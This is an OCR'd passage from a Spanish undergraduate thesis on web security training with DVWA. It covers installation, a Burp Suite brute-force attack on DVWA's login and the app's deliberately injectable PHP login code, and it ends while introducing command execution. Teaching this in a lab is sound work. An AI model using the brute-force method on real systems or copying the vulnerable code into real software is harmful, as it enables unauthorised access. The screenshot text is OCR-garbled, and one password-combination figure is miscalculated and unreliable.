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Resumen

En el presente PFG se realizara una descripcion detallada de las herramientas usadas en la
Catedra Amaranto para realizar analisis de seguridad, usando herramientas de analisis de
vulnerabilidades web, entre las que destacan DVWA y WebGoat.

DVWA y WebGoat son aplicaciones deliberadamente inseguras, disefiadas para que los
usuarios puedan practicar las diferentes vulnerabilidades que pueden darse en las paginas web.

Este PFG se acomparia de un DVD-ROM que contiene 6 presentaciones PowerPoint, y una gran
cantidad de videos, para facilitar el aprendizaje de las vulnerabilidades.

El objetivo final es conocer estas vulnerabilidades, para asi crear paginas web seguras.
Abstract

In this PFG we will be carried out a detailed description of the used tools in the University
Chair Amaranto to make Security Analysis. For it, we will use vulnerabilities scanning tools,
and the most important are DVWA and WebGoat.

DVWA and WebGoat are applications deliberately unsafe, they are designed for practicing
different vulnerabilities.

This PFG included a CDROM which contains six PowerPoint presentations and a lot of videos.
It will facilitate the learning of vulnerabilities.

The final aim is to find these vulnerabilities to create safe webs.
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5 Explotacién de vulnerabilidades web a través de DVWA

Capitulo 1: Introduccion

1.1 Resumen Extendido

Nos encontramos en un mundo global e interconectado en el que cualquier
empresa, organizacion, institucion medianamente importante debe de disponer
de una péagina web para prestar sus servicios, también nos encontramos en un
entorno en el cudl los soportes fisicos como el papel estan desapareciendo, y
cada vez es mas habitual el uso de medios telematicos para realizar cualquier
tipo de gestion.

Esta tendencia se ve reforzada por el aumento espectacular de los usuarios
demandantes de servicios, ya que la computacion ubicua, ha hecho que
cualquier persona tenga un dispositivo capaz de abrir paginas web en cualquier
ubicacion, y a través de su dispositivo demande realizar algun tramite a través
de una pagina web.

Este incremento de la informacion en paginas web y la realizacion de tramites,
debe estar disponible en un entorno seguro. Conseguir un entorno seguro es
una tarea laboriosa y minuciosa, ya que una pagina web se basa en varias
partes del sistema, como puede ser el sistema operativo de la maquina, el
sistema gestor de base de datos o la propia aplicacion.

El objetivo de este trabajo es analizar las diferentes herramientas, usadas en la
Catedra Amaranto, para realizar un analisis de seguridad de las paginas web,
se veran diferentes tipos de ataques, para asi poder crear paginas con
fortalezas ante las diferentes vulnerabilidades.

2% 3%

7%
25%
- SQL Injection

[ Cross-Site Scripting [ Code Injection

/ Authentication & D Information Leak/Disclosure
Authorization .Cross-Site Request Forgery
[ |Buffer Errors B
Web Server
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- Web Browser

17%

/ 12%
14%

Figura 1 Top Vulnerabilidades.!

! https://highscalability.wordpress.com/category/seguridad/?
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En estos sistemas web, la conexién entre usuario, sistema operativo, gestor de
base de datos, directorio, etc., se da en la aplicacién o interface, que se
visualiza en los diferentes navegadores disponibles. Estas aplicaciones pueden
estar realizadas en lenguaje PHP, Javascript, JScript, PHP, ASP, JSP.

Cualquier intrusion en una péagina web corporativa, afectara de forma negativa
a la empresa y al negocio, ya que podran quedar expuestos, o sufrir
modificaciones, los datos de los clientes y en lineas generales podemos decir
que afectara a:

e Desfiguracion de la pagina web.

e Laimagen de la compafiia.

e Revelacion de datos de usuario y modificacion de datos.
e Robo de datos.

¢ Intrusion en el servidor web.

e Modificacién de ficheros.

Ante estos riesgos, se hace cada vez mas necesario una metodologia de
desarrollo de software, que tenga en cuenta los posibles atagues que puede
sufrir una pagina web.

Se hace necesaria una mayor concienciacion, y que los estudios de informéatica
incluyan asignaturas especificas y estudios de posgrado sobre seguridad,
también las empresas, segun su presencia en las redes, deberian tener un
CISO (chief information security officer).

Tomar cualquiera de estas medidas mencionadas ahorrara tiempo y dinero ya
gue se estima que arreglar cualquier fallo detectado en la fase de produccion
es 15 veces mas barato que hacerlo en la fase de disefio.?

Una vez que la aplicacién este en produccion, el coste en dafios para una
empresa si su web es atacada, es incalculable, ya que depende del negocio,
pero en cualquier caso, para una empresa el retorno de la inversion tras
contratar un CISO es inmediato.

Muy interesante, a la hora de realizar desarrollos web, seguir las
recomendaciones de desarrollo seguro de OWASP, una vez realizado el
codigo, seguir la OWASP Code Review Project/es, y para finalizar pasar la
Application Security Verification Standard (ASVS) que facilita un checklist de
vulnerabilidades para revisar.

2 http://www.securityartwork.es/2013/11/13/recursos-para-formacion-en-desarrollo-web-seguro/
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Para ayudarnos a realizar un desarrollo seguro, disponemos de los test de
penetracion (Pen-Testing), que se pueden realizar de diversas maneras y
empleando diversas técnicas y herramientas. A continuacion, veremos las
diferentes herramientas de penetracion empleadas en la Catedra Amaranto.

1.2 Estructura
Este PFG esta organizado en los siguientes capitulos:

e Capitulo 1. — Introduccidn: en este capitulo se introduce sobre el tema
a tratar, los objetivos, y se resume de forma breve los contenidos de
este PFG.

e Capitulo 2. — Estado del arte: se detalla brevemente el contexto
empresarial en el que se desarrolla este trabajo, y se analiza
brevemente la herramienta més confiable por ser independiente.

e Capitulo 3. — Metodologia a aplicar: se explica brevemente las
herramientas que se van a utilizar para analizar las vulnerabilidades, y
los diferentes tipos de vulnerabilidades, incluyendo una explicacion de
en qué consiste la vulnerabilidad, como reproducirla, y como evitarla.

e Capitulo 4. — Herramientas de Pen-Testing: en este capitulo se
describe en profundidad las herramientas DVWA, WebGoat, BadStore,
Mutillidae y Foundstone Hacme Books.

e Capitulo 5. — Distribuciones y Herramientas: se describen las
distribuciones Linux mas importantes, y veremos en detalle la
distribucion Samurai y KaliLinux. Se ven otras aplicaciones que apoyo
gue hemos usado para realizar los Pen-Testing.

e Capitulo 6 — Herramientas de difusion.

e Conclusiones.

A su vez, el PFG incluye un DVD-ROM, que aparte de la memoria, incluye
el siguiente contenido:

Videos Vulnerabilidades
Videos DVWA. Videos WebGoat
Video BadStore y vulnerabilidades. Video Mutillidae y vulnerabilidades.
Video Hacme Casino y
vulnerabilidades

Videos Herramientas

Burp. Maltego
TamperData. Firebug.
Presentaciones PowerPoint
1. DVWA. 2. WebGoat.
3. BadStore. 4. Mutillidae.
5. HacmeCasino. 6. Distribuciones y herramientas.

Tabla 1. Contenido DVD-ROM

José Carlos Novella Roman 17
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Capitulo 2. Contexto y estado del arte

Nos encontramos en un mundo globalizado, en el que internet y las nuevas
tecnologias se han convertido en el escaparate donde las empresas pueden
vender sus productos de forma rapida y vertiginosa antes que la competencia.
Junto a esta feroz competencia, existe una tendencia en cualquier empresa en
externalizar todos los servicios que no sean propios de su razon social, como
en este caso el desarrollo Web. Esto ha hecho que las empresas de
consultoria y de servicios tengan una gran carga de trabajo, y entre ellas una
feroz competencia, que les obliga a bajar los precios, aparte, la necesidad de
aplicar en sus desarrollos la tecnologia mas novedosa, sin que sus
trabajadores hayan tenido tiempo para adoptar y aprender la tecnologia mas
reciente.

Aparte, nos encontramos en una profesion con un gran intrusismo, y no todo el
mundo que trabaja en el sector, cuenta con la titulaciéon adecuada, realizando
desarrollos con grandes carencias.

Todo este escenario crea un caldo de cultivo para las vulnerabilidades, ya que
no importa lo segura que sea la aplicacion Web, si no cuando estard acabada,
que coste tendré para la empresa que adquiere el software, y que coste tendra
en personas-mes para la empresa que lo desarrolla.

Se hace necesario crear una cultura de seguridad en la empresa, y dar la
importancia que se merecen a los departamentos de tecnologias de la
informacion (IT) y Sistemas de Informacioén (Sl), y posicionarlos junto al nucleo
del negocio de las empresas. Cualquier escandalo por falta de seguridad en
una pagina web puede acabar con la reputacién y beneficios empresariales.

Afortunadamente la concienciacion sobre la seguridad informética esta dando
sus frutos, y las empresas importantes estan empezando a contratar a CISO
(Chief Information Security Officer) y dandole un lugar importante en su
organigrama funcional a los departamentos de informatica.

Referente a las herramientas para realizar analisis de vulnerabilidad Web,
actualmente existen diferentes informes y estudios sobre herramientas para
realizar analisis de vulnerabilidades. Estos estudios hay que analizarlos con
precaucion, ya que muchas veces tienen origen en la propia marca que
desarrolla la herramienta de andlisis de vulnerabilidad, por lo tanto, vemos
conveniente buscar un informe independiente. También hay que tener cuidado
con las herramientas obsoletas.

Como organizacion puntera en temas de vulnerabilidad, destaca OWASP
(Open Web Application Security Project), creada en 2001, que mantiene un
proyecto de codigo abierto para concienciar a los programadores sobre los
defectos de programacion que convierten en insegura a una pagina web. La
comunidad OWASP estd formada por organizaciones educativas e
independientes de todo el mundo, que produce una gran cantidad de articulos,

José Carlos Novella Roman 18
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metodologias, documentacion y software, que es liberado para que pueda ser
usado por cualquier persona.

OWASP es una organizacion totalmente independiente de las presiones
comerciales que garantiza la imparcialidad de sus informaciones. La fundacion
OWASP es una entidad sin &nimo de lucro que asegura el mantenimiento del
proyecto a largo plazo.

Continuamente estan apareciendo nuevas distribuciones para entrenamiento
en Pen-Testing, como Samurai, Game Over, Kali Linux, y nuevas herramientas
como Burp Suite, Zed Attack Proxy o ZAP.

La concienciacion sobre seguridad es buena, pero tenemos el lado negativo, ya
gue muchas vulnerabilidades son muy faciles de aprender, e internet tiene una
gran capacidad para distribuir las técnicas a cualquier lugar y persona,
pudiendo ser un canal de formacién y captacién de Jackers. Esto hace que el
tema de la seguridad sea un mundo vertiginoso, en el que continuamente
aparecen nuevos ataques sobre vulnerabilidades desconocidas, y nuevas
formas de evitar los ataques.

José Carlos Novella Roman 19



o
SN Explotacién de vulnerabilidades web a través de DVWA

Capitulo 3. Metodologia a Aplicar

Se realizara un andlisis de seguridad utilizando las diferentes herramientas
disponibles. Para el desarrollo de este andlisis, nos basaremos en el estandar
mas utilizado para el Pen-Testing, que es el OWASP (Open Web Application
Security Project).

Veremos las siguientes herramientas de Pen-Testing:

e DVWA.

¢ OWASP — WebGoat.
e BadStore.

o Mutillidae.

e Foundstone Hacme Books
e Distribuciones Linux
e Herramientas de apoyo.

Y con estas herramientas realizaremos los diez principales tipos de ataque mas
habituales:

e Inyeccién SQL.

e XSS (Cross Site Scripting).

¢ Rotura de autentificacién y administracion de sesiones.
e Referencias inseguras y directas a objetos.

e CSRF (Cross Site Request Forgery).

e Configuracion defectuosa de seguridad.

¢ Almacenamiento Criptografico inseguro.

e Fallos de restriccion de acceso por URL.

e Proteccion insuficiente en la capa de transporte.

e Redirecciones y reenvios no validados.

Aparte, necesitaremos el apoyo de determinadas aplicaciones o complementos
del navegador FireFox como son:

e BurpSuite.

e Firebug.

e Tamper Data.
e JHijack.

e Maltego.

José Carlos Novella Roman 20
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Capitulo 4. Herramientas de Pen Test

4.1. DVWA

DVWA (Damm Vulnerable Web Application) es una aplicacion web desarrollada
en PHP/MySQL y que nos permitira, gracias a su configuracion personalizada
de nivel de proteccion, realizar analisis de vulnerabilidades.

La finalidad de DVWA es:

e Permite realizar andlisis de vulnerabilidades para poner a pruebas las
habilidades del atacante, siendo de esta forma consciente de la
vulnerabilidad, haciendo de esta forma desarrollos mas seguros.

e Permite realizar las pruebas en un entorno juridico legal, ya que segun el
articulo 197 del cédigo penal “El que, para descubrir los secretos o
vulnerar la intimidad de otro, sin su consentimiento, se apodere de sus
papeles, cartas, mensajes de correo electrénico o cualesquiera otros
documentos o efectos personales, intercepte sus telecomunicaciones o
utilice artificios técnicos de escucha, transmision, grabacion o
reproduccion del sonido o de la Figura, o de cualquier otra sefial de
comunicacioén, sera castigado con las penas de prision de uno a cuatro
afios y multa de doce a veinticuatro meses.”

e Servir como soporte de aprendizaje para profesores y estudiantes.

Mencion especial merece el lenguaje PHP, con el que se ha realizado la Web
vulnerable DVWA. PHP es un lenguaje de uso general que se ejecuta en el
servidor, y se usa mayoritariamente para desarrollo web de contenido
dinamico. Se estima que el 60% de los sitios Web en internet usan PHP. El
namero de usuarios crece, ya que PHP es un lenguaje libre, totalmente
disponible a la comunidad, y porque goza de buenas referencias, ya que entre
sus usuarios esta Facebook, Wikipedia, Yahoo, Wordpress. Herramientas
como XAMPP, WAMP permite que facilmente, cualquier usuario pueda montar
en su maquina local un servidor Apache y MySQL.

Es fundamenta por parte de los programadores un buen conocimiento del
lenguaje PHP, ya que la mayoria de las vulnerabilidades Web se pueden evitar,
conociendo buenas técnicas de programacion, y aplicando funciones PHP para
filtrar la informacion que esta entrado al servidor Web desde el navegador Web
del cliente.

Una de las virtudes de DVWA es que presenta tres niveles de seguridad, Low,
Medium y High. La diferencia entre dichos niveles esta dada por su robustez
ante las vulnerabilidades, que consigue gracias a mejoras en el codigo. DVWA
nos permite ver el codigo de cada nivel, y realizar comparaciones.

José Carlos Novella Roman 21



255

aa ry

5 Explotacién de vulnerabilidades web a través de DVWA

4.1.1 Instalacion de DVWA

4.1.1.1 Instalacion en Linux
Realizaremos una descarga desde la pagina http://www.dvwa.co.uk

DVWA - Damn Vulnerable Web Application - Mozilla Firefox
DVWA -Damn Vulne

€ dvwa.co.uk

| GitHub | RandomStorm

Damn Vulnerable Web Application (DVWA)

able Web App!

TEEEEFLEELE

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn
vulnerable. Its main goals are to be an aid for security professionals to test their
skills and tools in a legal environment, help web developers better understand the
processes of securing web applications and aid teachers/students to teachl/learn web
application security in a class room environment.

Figura 2. Pdgina Web oficial DVWA

O bien mediante la consola:

jose@ubuntu: fvar/www,/html

jose@ubuntu: /var /www/html$ sudo wget https://github.comfRandomStorm/DVWA/archiv
e/v1.0.8.zip

Figura 3. Comandos Linux descarga DVWA

Posteriormente, desde la consola de comandos, descomprimimos el archivo zip
mediante el comando sudo ‘unzip DVWA-1.0.8.zip —d /usr/share/dvwa/’

jose@ubuntu: ~/Downloads

creating: fusr/share/dvwa/DVHA-1.0.8/vulnerabilities/xss_r/source/
inflating: fusr/share/dvwa/DVWA-1.0.8/vulnerabilities/xss_r/source/high.php
inflating: /usr/sharejfdvwa/DVWA-1.08.8/vulnerabilities/xss_r/source/low.php
inflating: /usr/sharejfdvwa/DVWA-1.08.8/vulnerabilities/xss_r/source/medium.php

creating: fusr/share/dvwa/DVWA-1.0.8/vulnerabilities/xss_s/

creating: fusr/share/dvwa/DVWA-1.0.8/vulnerabilities/xss_s/help/

inflating: /usr/sharefdvwa/DVWA-1.0.8/vulnerabilities/xss_s/help/help.php
inflating: /usr/sharefdvwa/DVWA-1.0.8/vulnerabilities/xss_s/index.php
creating: fusr/share/dvwa/DVWA-1.0.8/wvulnerabilities/xss_s/source/f
inflating: /usr/sharejfdvwa/DVWA-1.08.8/vulnerabilities/xss_s/source/high.php
inflating: /usr/sharejfdvwa/DVWA-1.0.8/vulnerabilities/xss_s/source/low.php
inflating: /usr/share/dvwa/DVWA-1.0.8/vulnerabilities/xss_s/source/medium.php

jose@ubuntu:~/Downloads$ sudo unzip DVWA-1.0.8.zip -d ,fusr,lshare,{dea,-'l

Figura 4. Comandos Linux Descompresion
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Modificamos la clave del usuario root

jose@ubuntu: fusr/share/dvwa/DVWA-1.0.8/config
GNU nano 2.2.6 . Modified

<?php

# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to digininja for the fix.

# Database management system to use

SDBMS = 'MySQL';
#SDBMS = 'PGSQL';

# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
= array();

'db_server' ] = 'localhost';

'db_database' ] = 'dwwa';

'db_user' ] = 'root';

'db_password' ] = ‘1234';

# Only needed for PGSQL
Wd Get Help ¢ Writeout il Read File @y Prev Page W Cut Text d¥ Cur Pos
W Exit @8 Justify Ml Where Is W Next Page WY UnCut Text il To Spell

Figura 5. Comando Linux Cambio Password

Creamos la base de datos en mysq|

(=< X jose@ubuntu: ~

jose@ubuntu:~% mysql -u root -p

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 38

Server version: 5.5.41-8ubuntu@.14.04.1 (Ubuntu)

Copyright (c) 2eee, 2014, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database dvwa;
Query OK, 1 row affected (0.01 sec)

mysql= quitl

Figura 6. Creacion de BBDD MySQL en Linux
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Desde el navegador navegamos a http://localhost/dvwa/setup.php

4 @localhost/dv -cl@- awe & & =

Home. | Database setup -
Insiructions | ek on e Create 1 Reset Database’button beiow e o teset your Gsiabase. f you get an erro make

10 crean
[sr In feerfigieontiy nc prp

W the database ateady exists, it will be cleared and the ata wil be reset.

Command Execution | Backend Calstase MySQL

Creste | Reset Daiabase

|

P @ it looks like you haven't started Firefox in  while. Do you want to cleanit up for a fresh, ike-new experience? And by the way, welcome backi Reset Firefox

Figura 7. Proceso creacion/reseteo BBDD DVWA

Y reseteamos la base de datos de MySQL la primera vez que accedamos a
DVWA

4.1.1.2 Instalacion en Windows

Necesitamos montar un servidor web en Windows y una base de datos, por lo
que tendremos que descargar e instalar XAMPP, que incluye MySQL, PHP y
Perl.

XAMPP Control Panel v3.2.1 7 Config

(&) Netstat
Module  PIDs) Portfs) Actions © Netsta

Apache 1?3355;]5 80,443 | Stop Admin B Shell
MySQL 9968 Stop Admin |- Explorer
FileZilla 11292 21, 14147 Admin = Senices

Mercury Admin @ Help

Tomcat Admin [ Quit

13:10:50 [main] Initializing Modules A
13:10:50 [main] Starting Check-Timer

13:10:50 [main] Control Panel Ready

13:10:54 [Apache] Attempting to start Apache app...

13:10:54 [Apache] Status change detected: running

13:10:54 [mysql] Attempting to start MySCQL app...

13:10:54 [mysql] Status change detected: running

13:10:55 [filezilla] Attempting to start FileZilla app...

13:10:55 [filezilla] Status change detected: running

Figura 8. XAMPP Control Panel

Una vez arrancado PHP y MySQL nos vamos al navegador
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E Damn Vulnerable Web Ap x

= C' | [ 127.0.0.1/dvwa/login.php gy =

)
DYWA

Username

Password @

Figura 9. Pdgina Inicio/autentificacion DVWA

Accedemos con el usuario ‘admin’ y la contrasefa ‘password’
[&] Damn Vulnerable Web A x W . -
« C | [0 127.0.0.1/dvwa/index.php P Ry =

(Home | Welcome to Damn Vulnerable Web App!

Instructions Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals
are to be an aid for security professionals to test their skills and tools in a legal environment, help web

Setup developers better understand the processes of securing web applications and aid teachers/students to
teach/leamn web application security in a class room environment.

Brute Force WARNING!
é{:mmamﬂ?mxunon Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hesting provider's public html folder or

CSRF any internet facing web server as it will be compromised. We recommend downloading and installing

onto a local machine inside your LAN which is used solely for testing

Insecure CAPTCHA R R
" . Disclaimer
File Inclusion

P We do not take responsibility for the way in which any one uses this application. We have made the purposes of
SQL Injection A . ek T "
the application clear and it should not be used maliciously. We have given wamnings and taken measures to
SQL Injection (Blind) prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation

of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

Upload ;
e General Instructions

XSS stored The help button allows you to view hits/tips for each vulnerability and for each security level on their respective

page.
DVWA Security
PHP Info
You have logged in as "admin’
About

Logout

Username: admin
Security Level: high
PHPIDS: disabled

Figura 10. Pdgina Bienvenida DVWA
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4.1.2. Utilidades de DVWA

DVWA permite el andlisis del codigo vulnerable a los siguientes ataques:

Brute Force.

Command Execution.

CSRF (Cross-Site Request Forgery).

Insecure CAPTCHA

File Inclusion (Local File Inclusion and Remote File Inclusion).
SQL Injection.

SQL Injection (Blind).

Upload.

XSS Reflected.

XSS Stored.

VVVVVVVYYVYVY

DVWA permite comprobar las diferencias entre cdédigo seguro y bien
estructurado, a codigo vulnerable realizado con malas practicas de
programacion.

Para comprobar la robustez del codigo, permite configurar la seguridad en tres
niveles, bajo, medio y alto.

A continuacion vemos los diferentes tipos de ataque que podemos realizar en
DVWA:

4.1.2.1 Brute Force

El ataque de fuerza bruta consiste en intentar averiguar la clave probando
todas las combinaciones posibles, hasta encontrar la correcta. Un ataque de
fuerza bruta tiene cuatro elementos vitales:

1. Un alfabeto que se usara para obtener todas las posibles combinaciones
de la clave.

2. La longitud de la palabra de acceso, que determinara todas las posibles
combinaciones, es decir, para una contrasefia de cuatro caracteres
numeéricos, tendremos 4"10=1048576 combinaciones posibles.

3. Una palabra cifrada que sera usada para romper el ciclo de iteraciones
en el caso de encontrarse la palabra correcta.

4. Algoritmo o funcién de cifrado, para cifrar las palabras obtenidas.

Un ataque por fuerza bruta se puede programar y realizar mediante codigo, en
nuestro caso, lo haremos con la ayuda de una aplicacién, Burp Suite Free
Edition3.

Burp Suite es una aplicacion integrada gratuita que permite automatizar
procesos como el de obtencién de credenciales de acceso de un aplicacion,

3 https://portswigger.net/burp/
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busqueda de valores aceptados en los parametros de una peticion (por GET o
POST), ataques de inyeccion de codigo, descubrimiento de directorios, etc.

Burp Suite da el control para combinar técnicas avanzadas permitiendo un
trabajo mas rapido y efectivo. Esta formado por los siguientes componentes:

» Permite interceptar el trafico que pasa a través del proxy.

» Un escaner de aplicaciones web para automatizar la deteccion de
diferentes tipos de vulnerabilidad.

» Una herramienta intruder, para realizar atagques personalizados para
encontrar y explotar vulnerabilidades.

» Una herramienta de repetidor para manipular y volver a enviar peticiones
modificadas.

» Una herramienta secuenciador, para probar la aleatoriedad de los tokens
de sesion.

» Extensibilidad con otros pluging, incluido los plugins propios.

» Permite guardar el trabajo realizado en sesiones.

Es facilmente descargable desde su pagina web, y facilmente ejecutable en
Windows o en Linux. También podemos acceder a ella a través de la
distribucion Samurai.

Una vez tengamos operativo y ejecutdndose en nuestra maquina Burp Suite,
los configuramos para que escuche el proxy que esta en el puerto 8082 de la
maquina local. A su vez, el navegador tendra configurado como salida un
proxy, con la IP 127.0.0.1, puerto 8082. Lo podremos hacer de forma manual o
con conmutadores de proxys integrados en el navegador como son FoxyProxy.

[ ] burp suite free edition v1.4.01

burp intruder repeater window about

[‘target | proxy | spider | scanner [Tintruder | repeater | sequencer | decoder | comparer | options | alerts |
intercept | options rhistory |

proxy listeners

[»

running| port | loopback only|suppor‘t invisi...| redirect | cert | | edit | =
leogz | | [l | |per-host | _ L

To add a new listener, complete the relevant details and click "add".

local listener porf:

[]listen on loopback interface anly

[] suppart invisible proxying for non-proxy-aware clients

redirect to host: |

redirect to port:

4]

Figura 11. Configuracion Proxy en Burp suite
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Tras esto, daremos al boton de “intercept” para que quede marcado “intercept
is on”, lo que nos permitira:

e Capturar la peticion HTTP GET.

e La cookie con el identificador de sesion.

e Si existiera, el mensaje devuelto por el sistema en caso de que el
nombre de usuario y contrasefia sean incorrectos.

En la siguiente captura podemos ver, en la distribucion Samurai, como es
capturada la peticion HTTP Get.

Q. Damn Vulnerable Web App (DVWA)v1.8 = Vulnerability: Brute Force- Mozilla Firefox BT
) Connecting... x \ 4 [ )8 Poiiiieesiiiiil
- - Bury Repeater Window Help
A (€ @ame Ne@v x| @ G @v @ 2l » | = W ruder | repoater | sequencer [ oecoder _|_comparor | _estender | options | Aems | coz |
- = [ T T T Spider e
D@ J [ TP histary | websockets history | options |
/ \ij Request to http: //dvwa:80 [127.42.84.2]
[ Forward | | orop | [interceptison | [ acion | =@
Homa | Vulnerability: Brute Force a7 Reagers [ rex |
Instructions . GET rute/?username=admin&password=password&lLogin=Login HTTR/1.1
Login Host: dvwa
Setup User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:33.0) Gecko/20100101 Firefox/33.0

Eemene: = M accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

I:l admin Accept-Lang n-Us,en;q=0.5
Password:

Accept-Enco zip, deflate

Command Execution | | oo Referer: http://dvwa/vulnerabilities/brute/7username=admin&password=passordslogin=Login
CSRF Login Cookie: PHPSESSID=0brasfafffobpmSblinlrSufbl; security=high

Connection: keep-alive

Insecure CAPTCHA
Username and/or password incorrect.

File Inclusion

SQL Injection

SQL Injection (Blind) More info

Upload |
Waiting For dwa...

SAMURAI WEB TESTING FRAMEWORK

G b= ) (B (e 2 ssrchem

HTTIP://WWW.SAMURMAI-WTF.ORC

Figura 12. Intercepcion con Burp

Una vez obtenido la peticion HTTP Get que se manda a la pagina, podemos
configurar Burp Suite con un diccionario de posibles nombres de usuario y
contrasefas, para que Burp Suite realice el ataque de fuerza bruta buscando
todas las posibles combinaciones.

Podemos meter en Payload Set 1 los nombres de usuario:
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2| Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste |

admin

Load ... | admins

administrator

| Remove | >

| Clear |

| Add | [enter a new iter

Add from list ... [Pro version only]

Figura 13. Posibles nombres de usuario

Y en Payload Set 2 las contrasefas:

| 2

e/

| Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste pass

passwords
| Load ... | password
t Remove [

Clear

‘ Add L cnier a new iten

Add from list ... [Pro version only]

Figura 14. Posibles contrasefias

Con esta informacién, Burp Suite buscara todas las combinaciones posibles
para acceder a la pagina:
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I o Intruder attack 1

Attack Save Columns

(
0
x

j Results TTarget T Fositions T Payloads T Options ]

| Filter: Showing all iterns |[1J
Reguest 4 | Payloadl | Payload2 | Status | Error | Timeout | Length | | pass... | Comme
[i] 302 O O 353 ) (] baselin
1 admin pass 302 (] O 353 ) (]
2 admins pass 302 ] (] 353 o] O
3 administrator pass 302 (] O 353 ) (]
4 admin passwords 302 (] O 353 [} O
5 admins passwords 302 O O 353 [} O
] administrator passwords 302 O O 353 ) O
7 admin passwords 302 O O 353 ) (]
] admins passwords 302 O O 353 ) O
2] administrator passwords 302 ] (] 353 ] O
ELS J |
Finished |

Figura 15. Ataque fuerza bruta combinando Payloadl y Payload2

Podemos ver la contestacion dada por el servidor, y veremos que con la
combinacién correcta nos contesta ‘Welcome to the password protected area
admin’.

1 e s

o Result 10| Intruder attack 6 ) &) )
Payload 1: admin S
Payload 2: password Previous
Status: 200 -
Length: 5088 MNext
Timer: 0

Action

Reguest | Respanse ]

_[ Raw T Headers T Hex T HTML T Render ]

e

=form action="#" method="GET"=
Username:<br=<input type="text" name="username"=<br=
Password:<br=<input type="password" AUTOCOMPLETE="off"
name="password"=<br=
<input type="submit" value="Login" name="lLogin"= i

</form= )

<p=Welcome to the password protected area admink/p=<img
src="http://dvwas/hackable/users/admin. jpg" /=

=3
-2 ¥

sl
? < + = Twvpe a search term 0 matches

Figura 16. Contestacion servidor a autentificacion correcta.

La version Pro permite afadir palabras desde un diccionario de forma
masiva.
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El ataque por fuerza bruta lo podemos evitar de la siguiente manera:

¢ Usando Captcha.

e Uso de tokens que bloquee la IP del atacante, cuando se reciba un
namero determinado de intentos fallidos.

e Usar pluging de autentificaciéon como el Google authenticator.

e Realizando un control a nivel de log, monitores o alertas de los servicios
web.

e Podemos usar multitud de Framework de ‘login’ ya hechos para PHP,
que seguro que controlan la mayoria de ataques que se pueden dar,
para no tener que estar reescribiendo codigo, y que podemos acoplar a
nuestra pagina web.

e También podemos crearnos nuestro propio Framework de ‘login’, que
reutilizaremos y adaptaremos a todas nuestras webs.

e Usando la funcién sleep de PHP, es la solucién dada por DVWA, en la
siguiente captura, podemos ver el cédigo PHP, en el nivel low, a la
izquierda, y en el nivel alto a la derecho. La funcién sleep?, retrasa la
ejecucion del programa durante el nimero de segundos dados por

13 H

$seconds’.

<?php <3php

if( isset( $_GET['Login'l ) ) { if( isset( $_GET[ 'Login' 1) ) {

$user = $_GET['username'];

$us
$pass = $_GET['p $us
$pass = mds($pas $us
$qry = "SELECT * FROM “users  WHERE user='$user® AND password='$pass’;";
$result = mysql_query( $gry ) or die( '<pre>’ . mysql_error() . '<¢/pre>’ ); $pass = $_GET[ 'passu ]
$pa trip s )
if( $result & mysql_num_rows( $result ) == 1 ) { $pass = mysql_ cape_string( $pass )
$pass = mdS( Spass );
$i=0;
$avatar = mysql_result( $result, $i, "avatar" ); $qry = "SELECT * FROM “users’ WHERE user='$user' AND password='$pass
$result = mysql_query($ary) or die(’<pre>’ . mysql_error() . '</pre>
echo "<p>lielcome to the passu roL et iF( $result 8&& mysql_num_rows( $result ) == 1 ) {
echo "<im "' . $avat,
} else { $i=0
Savat. ysql 1t( $result, $ t )
echo "<pre><br>Userna d
}
acho "<psWelcome to the password protected area " . $user . "</p
mysql_close(); echo '<img src="" . $avatar . '" />
} else {
?> sleep(3);
echo "<pre><br>Username and/or password incorrect.</pre>”;
}
Compare

mysql_close();

Figura 17. Cédigo DVWA funcion sleep.

4 http://www.php.net/manual/es/function.sleep.php
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4.1.2.2 Command Execution

Esta vulnerabilidad permite ejecutar comandos de consola desde la web, de
esta forma es posible ver, modificar, y eliminar archivos y directorios del
servidor donde se encuentra alojada la pagina web que estamos analizando.

Una vez que es posible ejecutar los comandos, el alcance del ataque depende
Gnicamente de la habilidad del usuario para ejecutar comandos, que por lo
general suelen ser comandos apache.

Lo primero que nos permite realizar DVWA en realizar un ping a una IP
concreta:

Vulnerability: Command Execution

Ping for FREE

Enter an IF address helow:

=uhmit

Figura 18. Formulario DVWA vulnerable a Command Execution

El origen de esta vulnerabilidad es no prever que el usuario va a introducir
valores diferentes a los solicitados, bien de forma intencionada, o por error, por
lo que no se realiza un filtrado de la informacion que esta entrando.

Con el script alojado en fusr/share/dvwa/vulnerabilities/exec/source/low.php’,
es posible realizar un ping a cualquier maquina:

Vulnerabhility: Command Execution

Fing for FREE

Enter an |P address belov

[192 1581 4] || submit

PIMG 122.158.1.1 (182.168.1.1) S5(84] bytes of dats.

& byte from 1592.168.1.1: 1cmp_req=1 Tl = time=1.37 ms
54 hytes from 182.1628.1.1:; 1cmp_reg=2 tt1=54 tim==1.23 ns

G4 bytes fream 192.1588.1.1: 1cmp_req=3 ttl=54 fime=1.18 m=

--- 192.183.1.1 ping statisticg ---
3 packets tren=mitted, 3 received, 0% packet Loss, time 2003ms
rtt mingavg/max/mdev = 1.18571 43171.6B70/0.313 ms

Figura 19. Vulnerabilidad Command Execution Ping
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Puesto que este Script, cuya Unica finalidad es lanzar ‘Pings’, no tiene un filtro
de la informacion entrante, cualquier atacante lo podria utilizar para ejecutar
otros comandos diferentes a los inicialmente permitidos. Vemos que la
informacion enviada al formulario a través del campo input no es tratada, antes
